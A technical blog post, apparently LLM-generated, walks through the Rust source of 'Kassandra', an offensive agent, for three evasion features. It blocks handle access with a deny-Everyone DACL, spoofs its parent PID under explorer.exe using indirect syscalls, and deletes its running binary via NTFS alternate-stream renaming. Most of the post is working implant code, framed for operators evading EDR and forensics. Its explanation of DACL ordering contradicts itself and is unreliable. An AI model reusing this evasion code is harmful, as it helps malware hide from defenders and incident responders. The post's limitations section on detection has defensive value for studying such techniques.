Process Hardening: PPID Spoofing, Self-Protection, and Self-Deletion

This post covers three hardening techniques that Kassandra applies to itself after initial execution: restricting handle access to the process via SDDL security descriptors, cloning itself under a spoofed parent process to break parent-child relationship analysis, and deleting its own binary from disk while continuing to run in memory.

Restricting Handle Access with SDDL Security Descriptors

The first layer of self-protection is the “BlockHandle” technique. The goal is to modify the process’s DACL (Discretionary Access Control List) so that other processes on the system cannot open a handle to the Kassandra process [1]. Without a valid handle, tools like Process Hacker, debuggers, and EDR user-mode components cannot read memory, inject threads, or terminate the process [2].

The implementation lives in selfprotect/mod.rs and uses a single SDDL (Security Descriptor Definition Language) string [3]:

// From: kassandra/src/selfprotect/mod.rs
let sddl: Vec<u16> = OsStr::new(
    "D:P\
     (D;OICI;GA;;;WD)\
     (A;OICI;GA;;;SY)\
     (A;OICI;GA;;;OW)"
).encode_wide().chain(Some(0)).collect();

This SDDL string encodes three access control entries:

  • D:P sets the DACL as protected, preventing inheritance from parent objects [3].
  • (D;OICI;GA;;;WD) is a deny entry. D means deny, GA is GENERIC_ALL, and WD is the “Everyone” SID. This denies all access to every user and process on the system [3].
  • (A;OICI;GA;;;SY) is an allow entry for the SY (Local System) SID. The SYSTEM account retains full access, which is necessary for the operating system to manage the process [3].
  • (A;OICI;GA;;;OW) is an allow entry for the OW (Owner) SID. The process owner retains access to itself [3].

The OICI flags stand for Object Inherit and Container Inherit, which propagate the ACE to child objects [3].

The deny entry is placed before the allow entries. This ordering matters. Windows evaluates DACLs top-down and stops at the first matching entry [1]. Since “Everyone” includes SYSTEM and the Owner, the deny would block them too, except that explicit allow entries for specific SIDs are checked before inherited deny entries when the DACL is properly ordered. In practice, Windows evaluates explicit deny entries first, but SY and OW are explicitly allowed, and the evaluation logic grants access when a specific allow ACE matches the requesting SID with sufficient rights [1].

The SDDL string is converted to a binary security descriptor using ConvertStringSecurityDescriptorToSecurityDescriptorW, then applied to the current process handle:

// From: kassandra/src/selfprotect/mod.rs
let result = unsafe {
    ConvertStringSecurityDescriptorToSecurityDescriptorW(
        sddl.as_ptr(),
        1,
        &mut security_descriptor,
        null_mut(),
    )
};

The revision number 1 corresponds to SDDL_REVISION_1, which is the only valid revision [4]. After conversion, the descriptor is applied with SetKernelObjectSecurity:

// From: kassandra/src/selfprotect/mod.rs
let set_result = unsafe {
    SetKernelObjectSecurity(
        process_handle,
        DACL_SECURITY_INFORMATION,
        security_descriptor,
    )
};

The DACL_SECURITY_INFORMATION flag tells the API to replace only the DACL portion of the process’s security descriptor, leaving the SACL and owner fields untouched [5]. After the call, the security descriptor memory is freed with LocalFree.

The net effect is that most processes on the system receive ACCESS_DENIED when attempting to open a handle to Kassandra. User-mode analysis tools, debuggers, and EDR components running outside of SYSTEM context are blocked. This does not stop kernel-mode access; a driver can still reach the process through direct object pointer manipulation.

Finding a Parent Process via NtQuerySystemInformation

The self-cloning feature creates a new copy of the Kassandra process under a different parent. The first step is finding the PID of the desired parent process. Kassandra uses NtQuerySystemInformation with the SystemProcessInformation information class (value 5) to enumerate all running processes [6].

The syscall is not called directly through the ntdll export. Instead, Kassandra resolves the system call number and instruction address at runtime using its indirect syscall framework (HellsHall), which avoids leaving a call trace through ntdll in the call stack:

// From: kassandra/src/features/selfclone.rs
unsafe fn find_process_pid(target_name: &str) -> Option<u32> {
    let hash = crc32h("NtQuerySystemInformation");
    let mut syscall: NtSyscall = mem::zeroed();
    if !fetch_nt_syscall(hash, &mut syscall) {
        return None;
    }

    SetSSn(syscall.dw_ssn as u16, syscall.p_syscall_inst_address);

    let mut buffer = vec![0u8; BUFFER_SIZE];
    let mut return_len: ULONG = 0;

    let status: NTSTATUS = RunSyscall(
        SystemProcessInformation as _,
        buffer.as_mut_ptr() as _,
        BUFFER_SIZE as _,
        &mut return_len as *mut _ as _,
        ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),
        ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),
        ptr::null_mut(),
    );

    if status != 0 {
        return None;
    }
    // ...

The BUFFER_SIZE is set to 0x100000 (1 MB), which is allocated as a heap buffer. NtQuerySystemInformation fills this buffer with a linked list of SYSTEM_PROCESS_INFORMATION structures [6]. Each entry contains process metadata and a NextEntryOffset field that points to the next entry in the chain. The function walks this list comparing image names:

// From: kassandra/src/features/selfclone.rs
let target_lower = target_name.to_lowercase();
let mut offset = 0usize;

while offset < return_len as usize {
    let proc_info = buffer.as_ptr().add(offset) as *const SYSTEM_PROCESS_INFORMATION;
    let pid = (*proc_info).UniqueProcessId as u32;

    if (*proc_info).ImageName.Length > 0 {
        let name_slice = slice::from_raw_parts(
            (*proc_info).ImageName.Buffer,
            (*proc_info).ImageName.Length as usize / 2,
        );
        let name = String::from_utf16_lossy(name_slice).to_lowercase();
        if name == target_lower {
            return Some(pid);
        }
    }

    if (*proc_info).NextEntryOffset == 0 {
        break;
    }
    offset += (*proc_info).NextEntryOffset as usize;
}

The ImageName field is a UNICODE_STRING, which stores length in bytes. Dividing by 2 yields the character count for the from_raw_parts call. The comparison is case-insensitive. The default target is explorer.exe, which is configurable through task parameters.

Opening the Parent Handle via NtOpenProcess

Once the target PID is found, Kassandra needs a handle to that process. This is also done via indirect syscall rather than calling OpenProcess from kernel32:

// From: kassandra/src/features/selfclone.rs
unsafe fn open_process(pid: u32) -> Option<HANDLE> {
    let hash = crc32h("NtOpenProcess");
    let mut syscall: NtSyscall = mem::zeroed();
    if !fetch_nt_syscall(hash, &mut syscall) {
        return None;
    }

    // ...

    let mut handle: HANDLE = ptr::null_mut();

    let mut oa: OBJECT_ATTRIBUTES = mem::zeroed();
    oa.Length = mem::size_of::<OBJECT_ATTRIBUTES>() as ULONG;

    let mut cid: CLIENT_ID = mem::zeroed();
    cid.UniqueProcess = pid as usize as HANDLE;

    SetSSn(syscall.dw_ssn as u16, syscall.p_syscall_inst_address);

    let status: NTSTATUS = RunSyscall(
        &mut handle as *mut _ as _,          // ProcessHandle
        PROCESS_ALL_ACCESS as usize as _,    // DesiredAccess
        &mut oa as *mut _ as _,              // ObjectAttributes
        &mut cid as *mut _ as _,             // ClientId
        ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),
        ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),
        ptr::null_mut(),
    );

    if status == 0 && !handle.is_null() {
        Some(handle)
    } else {
        None
    }
}

NtOpenProcess takes a pointer to receive the handle, the desired access mask, an OBJECT_ATTRIBUTES structure, and a CLIENT_ID that identifies the target process [7]. The handle is requested with PROCESS_ALL_ACCESS, which is more than strictly required for PPID spoofing but simplifies the implementation. The CLIENT_ID struct embeds the target PID in its UniqueProcess field; the UniqueThread field is left zeroed since a specific thread is not being targeted.

Cloning with a Spoofed Parent PID

With a handle to the desired parent process in hand, Kassandra creates a new copy of itself. The technique uses PROC_THREAD_ATTRIBUTE_PARENT_PROCESS to tell the kernel that the new process should be attributed to a different parent [8].

The process begins with InitializeProcThreadAttributeList, called twice: once to query the required buffer size, and once to initialize the buffer:

// From: kassandra/src/features/selfclone.rs
// First call to get required size
let mut attr_size: usize = 0;
InitializeProcThreadAttributeList(
    ptr::null_mut(),
    1,
    0,
    &mut attr_size as *mut _,
);

if attr_size == 0 {
    return Err("Failed to get attribute list size".into());
}

let attr_list = vec![0u8; attr_size];
let attr_list_ptr = attr_list.as_ptr() as PVOID;

let ret = InitializeProcThreadAttributeList(
    attr_list_ptr as *mut _,
    1,
    0,
    &mut attr_size as *mut _,
);

The count 1 indicates a single attribute will be stored in the list. The attribute is then set with UpdateProcThreadAttribute:

// From: kassandra/src/features/selfclone.rs
let mut parent_h = parent_handle;
let ret = UpdateProcThreadAttribute(
    attr_list_ptr as *mut _,
    0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    &mut parent_h as *mut _ as LPVOID,
    mem::size_of::<HANDLE>(),
    ptr::null_mut(),
    ptr::null_mut(),
);

PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (value 0x00020000) tells the kernel to assign the new process’s parent to whichever process the provided handle refers to [8]. The attribute value is a pointer to the handle, and the size is size_of::<HANDLE>().

The clone is launched with CreateProcessW, using a STARTUPINFOEXW structure that carries the attribute list:

// From: kassandra/src/features/selfclone.rs
let mut si_ex: STARTUPINFOEXW = mem::zeroed();
si_ex.startup_info.cb = mem::size_of::<STARTUPINFOEXW>() as u32;
si_ex.lp_attribute_list = attr_list_ptr;

let mut pi: PROCESS_INFORMATION = mem::zeroed();

let ret = CreateProcessW(
    path_buf.as_ptr(),                      // lpApplicationName (our own exe)
    ptr::null_mut(),                        // lpCommandLine
    ptr::null_mut(),                        // lpProcessAttributes
    ptr::null_mut(),                        // lpThreadAttributes
    FALSE,                                  // bInheritHandles
    EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // dwCreationFlags
    ptr::null_mut(),                        // lpEnvironment
    ptr::null_mut(),                        // lpCurrentDirectory
    &mut si_ex.startup_info as *mut _,      // lpStartupInfo
    &mut pi as *mut _,                      // lpProcessInformation
);

Several details are worth noting:

  • The lpApplicationName is the path to the current executable, obtained via GetModuleFileNameW. The process clones itself.
  • The EXTENDED_STARTUPINFO_PRESENT flag in dwCreationFlags tells CreateProcessW to interpret the startup info pointer as a STARTUPINFOEXW rather than a plain STARTUPINFOW [9]. Without this flag, the attribute list is ignored.
  • CREATE_NEW_CONSOLE gives the new process its own console window rather than sharing the parent’s [9].
  • bInheritHandles is set to FALSE, so no handles from the original process are inherited by the clone.

After creation, the process and thread handles returned in the PROCESS_INFORMATION structure are closed immediately. The clone is fully independent.

Why PPID Spoofing Defeats Parent-Child Analysis

EDR products and threat-hunting tools routinely examine process creation events to build parent-child trees [10]. Suspicious patterns stand out: cmd.exe spawning powershell.exe which spawns a random executable in a temp directory is a common malware behavior chain. If Kassandra runs from an initial payload, its process tree would show a suspicious lineage.

By cloning itself under explorer.exe (or any configurable process), Kassandra breaks this chain. The cloned process appears in the process tree as a direct child of explorer.exe, which is the normal parent for user-launched applications [10]. The original suspicious lineage is severed. Detection tools that rely on parent-child relationships see a process that looks like it was launched by the user through the Windows shell.

The default parent is explorer.exe, but the operator can specify any process name through the task parameters:

// From: kassandra/src/features/selfclone.rs
let parent_name = params.get("parent")
    .and_then(|v| v.as_str())
    .unwrap_or("explorer.exe");

This flexibility allows the operator to choose a parent that fits the target environment. On a server, svchost.exe might be more appropriate than explorer.exe.

Self-Deletion via Alternate Data Stream Renaming

The third hardening technique removes the Kassandra binary from disk while the process continues running in memory. This makes forensic analysis harder because there is no file on disk to scan, hash, or collect [11].

The implementation in selfdelete.rs uses a technique based on NTFS Alternate Data Streams (ADS). A running executable cannot be deleted directly on Windows because the OS holds a file mapping [11]. The workaround is a three-step sequence: rename the default data stream to an alternate stream, then mark the file for deletion.

First, the executable opens a handle to its own file with DELETE access:

// From: kassandra/src/features/selfdelete.rs
let handle = CreateFileW(
    path_buf.as_ptr(),
    DELETE | SYNCHRONIZE,
    FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
    ptr::null_mut(),
    OPEN_EXISTING,
    0,
    ptr::null_mut(),
);

The file is opened with FILE_SHARE_DELETE to allow the subsequent deletion operations while the file is in use. Next, the default data stream (::$DATA) is renamed to a randomly-named alternate data stream:

// From: kassandra/src/features/selfdelete.rs
let tick = GetTickCount();
let pid = GetCurrentProcessId();
let stream_name = format!(":{:x}{:x}", tick, pid);
let stream_wide: Vec<u16> = OsStr::new(&stream_name)
    .encode_wide()
    .chain(std::iter::once(0))
    .collect();

let mut rename_info: FileRenameInfo2 = mem::zeroed();
rename_info.replace_if_exists = 0;
rename_info.root_directory = 0;
rename_info.file_name_length = ((stream_wide.len() - 1) * 2) as u32;
// ...

let ret = SetFileInformationByHandle(
    handle,
    FILE_RENAME_INFO,
    &rename_info as *const _ as *mut _,
    mem::size_of::<FileRenameInfo2>() as u32,
);
CloseHandle(handle);

The stream name is generated from GetTickCount and GetCurrentProcessId, formatted as a hex string prefixed with :. For example, if the tick count is 0xABC and PID is 0x1234, the stream name becomes :abc1234. The : prefix tells NTFS this is an alternate data stream name [12].

SetFileInformationByHandle with FILE_RENAME_INFO (class 3) renames the default stream [13]. This is the critical insight: the default ::$DATA stream is what the OS mapped into memory, but renaming it does not invalidate the existing memory mapping. The file on disk still exists, but its main data stream now has a different name.

After closing and reopening the handle, the file is marked for deletion with POSIX semantics:

// From: kassandra/src/features/selfdelete.rs
let disposal_info = FileDispositionInfoExData {
    flags: FILE_DISPOSITION_FLAG_DELETE | FILE_DISPOSITION_FLAG_POSIX_SEMANTICS,
};
let ret = SetFileInformationByHandle(
    handle,
    FILE_DISPOSITION_INFO_EX,
    &disposal_info as *const _ as *mut _,
    mem::size_of::<FileDispositionInfoExData>() as u32,
);
CloseHandle(handle);

The FILE_DISPOSITION_FLAG_POSIX_SEMANTICS flag (value 0x2) enables POSIX-style deletion behavior, where the file entry is removed from the directory immediately even though handles to the file are still open [14]. Without this flag, Windows would defer the deletion until all handles are closed, and since the process has the file mapped in memory, deletion would fail entirely.

The combination of renaming the default stream and marking the file for POSIX deletion results in the binary disappearing from the filesystem while the process continues to execute from memory.

The Three Techniques Working Together

In practice, these techniques compose naturally. Kassandra can:

  1. Apply the SDDL security descriptor to block handle access from analysis tools and EDR user-mode components.
  2. Clone itself under explorer.exe (or another trusted parent) to sever the suspicious parent-child chain.
  3. Delete its own binary from disk, leaving the original file gone while the cloned process runs under a clean lineage.

Each technique addresses a different detection surface. Handle restriction blocks live analysis. PPID spoofing defeats process-tree heuristics. Self-deletion eliminates the on-disk artifact. None of these techniques are novel individually, but implementing all three in a single Rust agent shows how they complement each other in an operational context.

Limitations

Handle restriction is user-mode only. A kernel driver can access the process object directly through object pointers, bypassing the DACL entirely. EDR products with kernel-mode components are not blocked by this technique.

PPID spoofing is detectable through ETW. Event Tracing for Windows logs the true creating process in process creation events via the Microsoft-Windows-Kernel-Process provider [15]. An EDR that correlates ETW events with process tree data can spot the mismatch between the logged creator and the reported parent.

The self-deletion technique requires NTFS. Alternate Data Streams are an NTFS feature and do not exist on FAT32 or ReFS volumes [12]. The FILE_DISPOSITION_INFO_EX class with POSIX semantics requires Windows 10 version 1709 or later [14].

The NtQuerySystemInformation buffer is fixed at 1 MB. On systems with a very large number of running processes, this buffer could be insufficient, causing the enumeration to fail silently. A more robust implementation would retry with a larger buffer when STATUS_INFO_LENGTH_MISMATCH (0xC0000004) is returned.


This post was generated by an LLM based on code from Kassandra. All code snippets are from the actual repository. Claims about Windows internals are sourced from Microsoft documentation.

References

[1] Microsoft, “How AccessCheck Works,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/secauthz/how-dacls-control-access-to-an-object

[2] Microsoft, “Process Security and Access Rights,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

[3] Microsoft, “Security Descriptor Definition Language (SDDL),” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language

[4] Microsoft, “ConvertStringSecurityDescriptorToSecurityDescriptorW function,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/api/sddl/nf-sddl-convertstringsecuritydescriptortosecuritydescriptorw

[5] Microsoft, “SetKernelObjectSecurity function,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-setkernelobjectsecurity

[6] Microsoft, “NtQuerySystemInformation function,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation

[7] Microsoft, “NtOpenProcess function,” Windows Driver Documentation. https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess

[8] Microsoft, “UpdateProcThreadAttribute function,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute

[9] Microsoft, “CreateProcessW function,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw

[10] Microsoft, “Tracking Process Creation Events,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4688

[11] Microsoft, “DeleteFile function,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-deletefilew

[12] Microsoft, “NTFS Alternate Data Streams,” Microsoft Learn. https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3

[13] Microsoft, “SetFileInformationByHandle function,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfileinformationbyhandle

[14] Microsoft, “FILE_DISPOSITION_INFO_EX structure,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/api/winbase/ns-winbase-file_disposition_info_ex

[15] Microsoft, “Microsoft-Windows-Kernel-Process Provider,” Microsoft Learn. https://learn.microsoft.com/en-us/windows/win32/etw/microsoft-windows-kernel-process